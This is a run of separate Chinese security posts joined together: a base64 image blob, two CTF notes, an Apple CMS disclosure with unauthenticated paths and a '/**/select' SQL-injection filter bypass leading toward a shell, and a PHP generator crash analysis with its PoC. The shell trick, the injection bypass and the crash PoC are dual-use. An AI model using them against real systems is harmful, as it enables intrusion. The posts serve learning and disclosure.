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
以上形式,其中我把等号后面的垃圾数据去除了(看着就没用),然后一看就是base64编码,搜索base64转图片,得到二维码,扫一扫得到flag
1、 sandbox
检查文件
题目为64位elf文件,开启NX和Canary保护。
将文件导入ida中,发现box()函数
box() 函数中有一个read() 函数,可以读取0x20 个字节数据到buf ,这里分析出需要用户输入数据。
if语句中strchr() 函数对用户的输入进行了检查,不允许字符s、h、cat、flag、- 输入。
box() 函数最后执行system() 函数,需要绕过sh、cat flag 等命令获取终端执行权限。
利用system("$0") 获取终端执行权限;输入$0 传给程序拿到权限;(system($0) 是在一个编程语言中调用系统命令的方式)
1 个帖子 - 1 位参与者
苹果cms 更新日期2023年9月11日
未授权访问暴露网站根目录
/application/data/update/database.php
/extend/qiniu/src/Qiniu/functions.php
/vendor/karsonzhang/fastadmin-addons/src/common.php
/vendor/topthink/think-captcha/src/helper.php
/vendor/topthink/think-image/tests/autoload.php
/vendor/topthink/think-image/tests/CropTest.php
/vendor/topthink/think-image/tests/FlipTest.php
/vendor/topthink/think-image/tests/InfoTest.php
/vendor/topthink/think-image/tests/RotateTest.php
/vendor/topthink/think-image/tests/TestCase.php
/vendor/topthink/think-image/tests/TextTest.php
/vendor/topthink/think-image/tests/ThumbTest.php
/vendor/topthink/think-image/tests/WaterTest.php
/vendor/topthink/think-queue/src/common.php
特定条件获取服务器权限
此处功能有被利用的风险,获取服务器权限服务器。配合上一个条件在特定情况下可以达到
此功能似乎没起查询作用,查看源码
此处过滤了 select 所以正常语句查询被置空,导致代码显示成功,实际并没有执行,暂时不理解开发如何思考的逻辑开发这个功能
但是代码不够完善,可以利用mysql特性
注释/**/select 为开头绕过该匹配规则 ,进而执行Db::execute()
Sql注入如下
getShell如下
以上getShell是满足以下条件的假设
免责申明
本文档仅供参考学习交流,请勿用于非法途径!否则后果自负。
1 个帖子 - 1 位参与者
原文: 拥抱PHP之在crash中遇见generator | maplgebra
0. crash样本 缘起 <?php function p1(){ yield 1; yield 2; yield 3; } $p1 = p1(); function gen(){ global $p1; yield from $p1; } $gen = gen(); $gen->rewind(); function child(){ global $gen; yield from $gen; } $child = child(); $child->rewind(); function new1() { global $p1; yield from $p1; } $new = new1(); $new->rewind(); $child->next(); $child->next(); $child->next(); echo 1;在工作时, 偶然之下构造出了上面一个例子, 这个例子会导致PHP7.4和7.3 (全小版本, 后同) 崩掉 (null pointer dereference), 而PHP7.0, PHP7.1, PHP7.2没有崩掉是因为写了一行垃圾代码 (指的是完全没有任何作用且还会带来负面影响的代码) 阴差阳错地导致这个问题被带过了, 从PHP7.3开始这行垃圾代码被拿掉了, 问题就显示出来了. 最后在PHP8中彻底简化了delegated generator tree的构造, 这个问题也自然没有了. 从PHP历史来看, 这个问题一直都没有被发现, 我觉得这和generator内部实现的复杂度是有紧密关系的.
在这里,我必须要吐槽一下相关PHP开发者, delegated generator tree这个结构在PHP7中无比复杂, 文档和相关资料也少的可怜 (基本没有), 导致相关代码读起来会异常难受, 我花费了巨额地时间才彻底理顺逻辑. 借此, 有了这篇文章, 希望将PHP generator内部实现中最复杂的那部分内容, 以尽可能无痛地方式传递给读者或者后来者. 同时这篇文章中也有一些我的小心思, 全文只有一处完整地复制粘贴了PHP内部代码的地方 (一个结构定义), 其余地方我都使用伪代码来描述过程, 因为我不希望此篇文章成为一个类似"读代码的文章"的典范, 而希望是在婉婉道来一个有趣的故事. 另外在读这篇文章的时候, 你不需要对PHP内部有任何的了解, 我保证.
1. Delegated generator tree (委托构造器树)这一节我们将介绍什么是delegated generator tree.
1.1. Generator 概念速成首先简要介绍一下 generator (构造器)的概念. 这个feature在很多编程语言 (python 和 ECMAScript等) 中都有存在, 它的概念也并不复杂. 你可以将它理解为"一个特殊的iterator (迭代器), 但是长成了函数的模样". 它是一个iterator意味着它天然地支持一些操作, 比如将iterator指向第一个元素的 rewind操作, 获取iterator当前指向元素的current操作, 将iterator指向下一个元素的 move_forward操作等等, 不同语言上的实现可能有些许不同. 而它长成了函数的样子意味着你可以像函数调用一样去调用它, 但是它的并不会因此而直接执行, 你需要通过前面提到的iterator的相关操作去拨动它. 例如在PHP中一个最简单generator例子为
function gen () { yield 1; return 2; } $gen = gen(); $gen->rewind(); echo $gen->current(); // output: 1 $gen->next(); echo $gen->getReturn(); // output: 2其中有一个关键字yield, 它的出现就决定了它所在的函数是一个generator. 当你第一次调用这个函数的时候, 你就会得到一个generator实例, 如这里的第5行. 之后你就可以将其视为一个iterator来操作, 如这里的第6-8行. 当你使用rewind()操作时, iterator就会指向它的第一个元素, 对generator而言, 这个操作会告诉它, 开始执行对应的函数, 并且在执行完第一个yield之后停下来, 并将这个yield产生的值视为一个元素. 如这里这个第二行yield执行会产生一个常量1. 值得注意是, 当在generator实例已经开始运行之后, 再使用rewind()操作, 将没有任何作用, 因为PHP不允许rewind一个正在运行的generator实例. 当你使用next()操作时, iterator就会指向它的下一个元素, 对于generatora而言, 这个操作会告诉它, 继续从当前位置执行, 直到下一个yield执行之后再停下来, 或者遇到return直接完成执行. 如这里并没有第二个yield, 使得当前generator实例在执行return之后就关闭了. generator 除了支持必要的iterator操作, 也支持一些其他特殊的操作, 如这里的getReturn()操作, 它可以获取对应generator实例的返回值. 甚至你也可以通过send()操作给generator实例内部传递值. 相关的操作均可以在PHP 官方文档 找到, 这里就不累述了.
1.2. Delegated generator tree的由来从上面对generator介绍看来, 它并不复杂, 但是引入yield from之后, generator的世界就开始变的复杂了. PHP官方文档对yield from的介绍如下:
Generator delegation allows you to yield values from another generator, Traversable object, or array by using the yield from keyword.
所以yield from对应的机制应该称之为"Generator delegation" (构造器委托), 可以看到它支持3种delegated values, 我们的关注重点delegated value为generator的情况, 后面的两种我们在这里简单介绍一下. 例如
function gen () { yield from [1,2,3]; } $gen = gen(); $gen->rewind(); echo $gen->current(); // output: 1 $gen->next(); echo $gen->current(); // output: 2 $gen->next(); echo $gen->current(); // output: 3当执行yield from之后, 此时iterator会委托给它后面的对象, 因此当我们拨动next方法的时候, 实际在拨动另外一个iterator, 当这个新的iterator被使用完毕之后, 就会返回调用yield from的地方继续执行.
可以想象一下yield from后面的表达式是一个generator实例的时候会发生什么? 为方便描述, 我们将调用yield from的generator称为outer generator, 而被调用的那个generator称为inner generator. 例如
function gen1 () { yield 1; yield 2; } function gen2 () { yield from gen1(); yield 3; } $gen = gen2(); $gen->rewind(); echo $gen->current(); // output: 1 $gen->next(); echo $gen->current(); // output: 2 $gen->next(); echo $gen->current(); // output: 3可以看到在使用rewind()操作之后, 指向的第一个元素是由gen1产生的, 这是因为在gen2的一开始, 我们通过yield from 引入了gen1作为delegated value, 在这些值被使用完之前, 原generator不会向下执行. 难道你不觉得这里非常奇妙吗 ? 我们拨动outer generator向前, 却是inner generator在向前, 并且我们对outer generator取值也总是能取到正确的值.
PHP内部究竟是如何实现它的呢? 不着急, 我们再来看一些更加复杂的例子, 让你对它有一些更深层次的思考, 以便于对后文有更好的理解. 假如我们在gen1也增加一个yield from呢?
function gen0 () { yield 4; } function gen1 () { yield 1; yield 2; yield from gen0(); } function gen2 () { yield from gen1(); yield 3; } $gen = gen2(); $gen->rewind(); echo $gen->current(); // output: 1 $gen->next(); echo $gen->current(); // output: 2 $gen->next(); echo $gen->current(); // output: 4 $gen->next(); echo $gen->current(); // output: 3对照函数调用时的call chain, 这里每次调用yield from的时候也会构造一条类似的chain, 我们可以将其称之为delegated generator chain, 比如在第12行这里就会形成gen2 -> gen1, 而在第8行这里就会形成gen2 -> gen1 -> gen0, 其中一个箭头就表示一次yield from执行, 而箭头方向对应outermost到innermost的方向.
这里会给我们一种感觉, 当我们拨动一条delegated generator chain上的某个generator时, 总是会先拨动这条chain上innermost generator. 我们把简单地修改一下上面的例子, 让我们的感觉更加明显:
function gen0 () { yield 4; yield 5; yield 6; } function gen1 () { yield 1; yield 2; yield from gen0(); } function gen2 () { global $gen1; yield from $gen1; yield 3; } $gen1 = gen1(); $gen2 = gen2(); $gen2->rewind(); echo $gen2->current(); // output: 1 $gen2->next(); echo $gen2->current(); // output: 2 $gen2->next(); echo $gen2->current(); // output: 4 $gen1->next(); echo $gen1->current(); // output: 5 $gen2->next(); echo $gen2->current(); // output: 6这里我们单独拿到了gen1的引用, 首先我们三次连续拨动gen2, 在最后一次拨动gen2时, 在gen1中yield from下形成了delegated generator chain为gen2 -> gen1 -> gen0 . 此时gen0作为innermost generator, 所以我们拿到了gen0中第一个yield产生的值. 而后我们换gen1来拨动, gen1也是这条chain上的一个delegated generator, 因此我们拿到了gen0中第二个yield产生的值. 最后我们再切回gen2来拨动, 依然也是预期的值.
所以这里我们给出第一个重要的原则:
Principle1. 假设某个generator处于由yield from生成的delegated generator chain上, 当我们使用next()拨动它时, 会首先拨动它所在chain的innermost generator. 同理使用current()获取当前元素时, 也会去获取该innermost generator指向的元素.
为了节省篇幅, 后面讲使用chain来指代delegated generator chian. 聪明的你, 可能要问一个问题了, 有没有可能一个generator位于两条不同的chain中呢 ? 非常好的问题, 答案是肯定存在, 比如
function gen0 () { yield 0; yield 1; } function gen1 () { global $gen0; yield from $gen0; } function gen2 () { global $gen0; yield from $gen0; } $gen0 = gen0(); $gen1 = gen1(); $gen2 = gen2(); $gen1->rewind(); $gen2->rewind(); echo $gen1->current(); // output: 0 echo $gen2->current(); // output: 0在拨动gen1和gen2之后, 就生成了两条具有相同innermost generator的chains, 如下: (我们去掉了chain连线上的箭头, 因为画起来会很乱, 我们约定inner genearator总是在outer generator的上面)
gen0 / \ gen1 gen2此时gen0位于两条不同的chains中. 咋一看, 这里的结构看起来就是一棵tree, 而一条delegated generator chain实际就是一条root-to-leaf path. 我们需要仔细验证一下, 这里是不是真的符合tree结构, 需要考虑所有delegrated generator chain可能长成的样子出发. 我们默认大家都熟悉基本数据结构Tree中的一些关键词, 比如root结点 (根结点), parent结点 (父节点), child结点 (孩子结点), ancestor结点 (祖先结点), descendant结点 (后继结点).
#1 任意时刻一generator实例只能执行一个yield from.
因此不可能出现以下情况, 这就意味确实可能只存在一个root结点.
gen1 gen2 \ / gen0#2 PHP不允许环的出现
以下例子会抛出一个异常
function gen0 () { global $gen1; yield 1; yield from $gen1; } function gen1() { yield from gen0(); } $gen1 = gen1(); $gen1->rewind(); echo $gen1->current(); $gen1->next();因此我们不用考虑环出现的情况.
综合#1和#2, 我们完全可以用tree结构代替delegated generator chains. 并且我们可以确保 "任一generator在某一时刻只能处于唯一的一颗delegated generator tree上", 换句话说每个generator都有唯一的root结点, 这是因为#1可以保证tree不会分叉. 由此delegated generator tree正式进入我们的视野, 而delegated generator chain只不过是一条root-to-leaf path. 之后我可能会频繁地给出各种形式的delegrated generated trees, 但是为了节省篇幅, 我不会同时给出对应它们的PHP代码了, 默认它们都是可以以某种方式被构造出来的. 在继续往下之前, 我们首先明确(或者强调)几个概念:
那么这里我们可以给出第二个重要的principle:
Principle2. 给定一个generator, 当我们使用next()拨动它时, 会首先拨动它所在delegated generator tree的root结点. 同理使用current()获取当前元素时, 也会去获取该root结点指向的元素.
注意我们使用 "结点" 指特定的generator. 我们可以将内部没有yield from语句, 且也不是其他generator的delegated generator的generator视为一个tree of single node, 即只有一个结点的tree, 其root结点就是它自己. 为了进一步节省篇幅, 我将直接使用tree来指代delegated generator tree.
PHP内部使用如下结构连接tree上的结点:
struct _zend_generator_node { zend_generator *parent; /* NULL for root */ uint32_t children; union { HashTable *ht; /* if multiple children */ struct { /* if one child */ zend_generator *leaf; zend_generator *child; } single; } child; union { zend_generator *leaf; /* if > 0 children */ zend_generator *root; /* if 0 children */ } ptr; };后文我将使用node来指代这个结构, 其中有4个字段:
此时你需要对这个结构有一些大致的了解即可. 这是本文唯一一处直接使用PHP内部代码的地方, 因为我们需要用它来描述delegated generator tree的设计. 注意当我们提到结点的时候, 依然指得是某一个特定的generator, 而不是某个node结构. 对于node结构, 我们会使用类似gen.node来指代generator gen中的node结构.
1.3 维护 delegated generator tree 概览首先要明确我们引入delegated generator tree的核心目的是"为了更好的维护 delegated generator chains", 而delegated generator chain是PHP准确处理任何一个generator的基础. 这里面存在两个难点问题:
